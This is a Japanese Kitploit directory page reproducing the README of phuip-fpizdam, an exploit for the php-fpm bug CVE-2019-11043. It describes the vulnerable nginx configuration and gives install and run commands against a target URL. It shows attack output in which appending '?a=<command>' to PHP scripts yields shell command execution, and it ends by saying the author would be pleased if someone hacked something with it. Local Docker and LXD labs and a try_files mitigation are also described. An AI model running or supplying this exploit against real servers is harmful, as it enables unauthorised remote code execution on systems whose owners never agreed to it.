Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/neex/phuip-fpizdam
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubneex/phuip-fpizdam

phuip-fpizdam

CVE-2019-11043 用エクスプロイト

リポジトリを見る
1.8k24936年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PHuiP-FPizdaM

これは何か

これは php-fpm のバグ(CVE-2019-11043)を利用するエクスプロイトです。特定の nginx + php-fpm 構成では、このバグを外部からトリガーできます。つまり、脆弱な構成(下記参照)の場合、ウェブユーザーがコード実行を取得する可能性があります。

Writeup

私たちはWriteupを書くのが面倒だったのですが、Orange Tsai 氏が彼のブログで完璧な分析を公開しました。彼に敬意を表します。

また、ZeroNights 2019 での私のスライドも入手可能です。

何が脆弱か

ウェブサーバーが nginx + php-fpm を実行しており、nginx が次のような設定の場合、

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

さらに、スクリプトの存在チェック(try_files など)が欠けている場合、このスプロイトでおそらくハッキングできます。

前提条件の完全なリスト

  1. Nginx + php-fpm で、location ~ [^/]\.php(/|$) が php-fpm に転送されている必要があります(正規表現はより厳しくてもよいかもしれません。 を参照)。
#1
  • ステートメント fastcgi_param PATH_INFO $fastcgi_path_info; による PATH_INFO 変数の代入が存在する必要があります。また、SCRIPT_FILENAME は fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; を使用して設定されている必要があります($document_root の代わりに定数パスがあるかもしれません)。最初は、これらが常に fastcgi_params ファイルに存在すると思っていましたが、実際は違います。
  • PATH_INFO を空の値に設定する方法が必要です。このエクスプロイトは、fastcgi_split_path_info ディレクティブが存在し、^ で始まり $ で終わる正規表現を含むことを前提としているため、改行文字で正規表現を壊そうとします。
  • この特定のエクスプロイトは、設定内で PATH_INFO が REQUEST_URI の後に設定されていることを前提としています。
  • try_files $uri =404 や if (-f $uri) のようなファイル存在チェックがないこと。Nginx が FastCGI 転送の前に存在しないスクリプトへのリクエストを破棄する場合、私たちのリクエストは php-fpm に到達しません。これを追加することは、パッチを適用する最も簡単な方法でもあります。
  • このエクスプロイトは PHP 7+ でのみ動作しますが、バグ自体は以前のバージョンにも存在します(下記を参照)。
  • これは何年も前から脆弱であることが知られていなかったのか?

    ずっと昔、php-fpm はスクリプトの拡張子を制限していなかったため、/avatar.png/some-fake-shit.php のようなものが avatar.png を PHP スクリプトとして実行できました。この問題は2010年頃に修正されました。

    現在の問題は、ファイルアップロードを必要とせず、最新バージョン(修正が適用されるまで)で動作し、そして最も重要なことに、エクスプロイトがはるかにクールです。

    実行方法

    次のコマンドでインストールします。

    root@kitploit:~
    go get github.com/neex/phuip-fpizdam
    

    奇妙なコンパイルエラーが発生した場合は、go >= 1.13 を使用していることを確認してください。phuip-fpizdam [url] でプログラムを実行します($PATH 内に $GOPATH/bin がある場合はそのまま、ない場合はバイナリへの完全なパスを指定してください)。正常な出力は次のようになります:

    root@kitploit:~
    2019/10/01 02:46:15 Base status code is 200
    2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
    2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
    2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
    2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
    2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
    2019/10/01 02:46:16 Performing attack using php.ini settings...
    2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
    2019/10/01 02:46:40 Trying to cleanup /tmp/a...
    2019/10/01 02:46:40 Done!
    

    この後、すべての PHP スクリプトに ?a=<あなたのコマンド> を追加できるようになります(複数回のリトライが必要な場合があります)。

    または、docker image を使用してエクスプロイトを実行することもできます:

    root@kitploit:~
    docker run --rm ypereirareis/cve-2019-11043 [url]
    

    プレイグラウンド環境

    Docker を使用する場合

    この問題を再現したり、Docker を通じてローカルでエクスプロイトを試したりする場合は、次の手順を実行します:

    1. このリポジトリをクローンし、reproducer ディレクトリに移動します。
    2. docker build -t reproduce-cve-2019-11043 . を使用して Docker イメージを作成します。内部で php リポジトリをクローンしてソースからビルドするため、時間がかかります。ただし、エクスプロイトをデバッグしたい場合はこの方法が簡単です。ビルドされるリビジョンは、修正の直前のものです。
    3. docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 を使用して Docker を実行します。
    4. これで、http://127.0.0.1:8080/script.php が利用可能になります。これは空のファイルです。
    5. phuip-fpizdam http://127.0.0.1:8080/script.php を使用してエクスプロイトを実行します。
    6. すべてが正常に機能すれば、?a= をスクリプトに追加してコマンドを実行できます:http://127.0.0.1:8080/script.php?a=id。php-fpm ワーカーの一部しか感染しないため、複数回試してください。

    LXD システムコンテナを使用する場合

    この問題を再現したり、LXD を通じてローカルでエクスプロイトを試したりする場合は、次の手順を実行します:

    1. vulnerable と attacker の2つのシステムコンテナを作成します。両方のコンテナに ubuntu:18.04 コンテナイメージを使用できます。
    2. vulnerable コンテナに nginx と php-fpm をインストールします。サーバーブロックをこの設定のように構成します。空のファイル /var/www/html/index.php を作成します。
    3. attacker コンテナに Go 言語をインストールし(sudo snap install go --classic)、このリポジトリをクローンして、リポジトリのディレクトリで go build を実行します。
    4. 攻撃を次のように実行します:./phuip-fpizdam http://vulnerable.lxd/index.php。すべての php-fpm ワーカーに感染させるために、複数回試してください。

    詳細な手順については、Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers を参照してください。

    PHP5 について

    php-fpm のバッファアンダーフローは PHP バージョン 5 にも存在します。ただし、このエクスプロイトは FastCGI 変数の保存に使用される最適化 _fcgi_data_seg を利用しています。この最適化は php 7 にのみ存在するため、この特定のエクスプロイトは php 7 でのみ動作します。php 5 で動作する別の悪用手法があるかもしれません。

    クレジット

    当初の異常は、Real World CTF 中に d90pwn によって発見されました。根本的な原因は私(Emil Lerner)と、php.ini オプションを設定する方法を見つけた私によって発見されました。最終的な php.ini オプションのセットは beched によって見つけられました。

    ライセンス

    このエクスプロイトは MIT License の条件の下で配布されています。

    このエクスプロイトで損害を与えることは控えてください。しかし、もし本当にこれで何かをハッキングしたなら、私は嬉しいです。

    ツールをダウンロード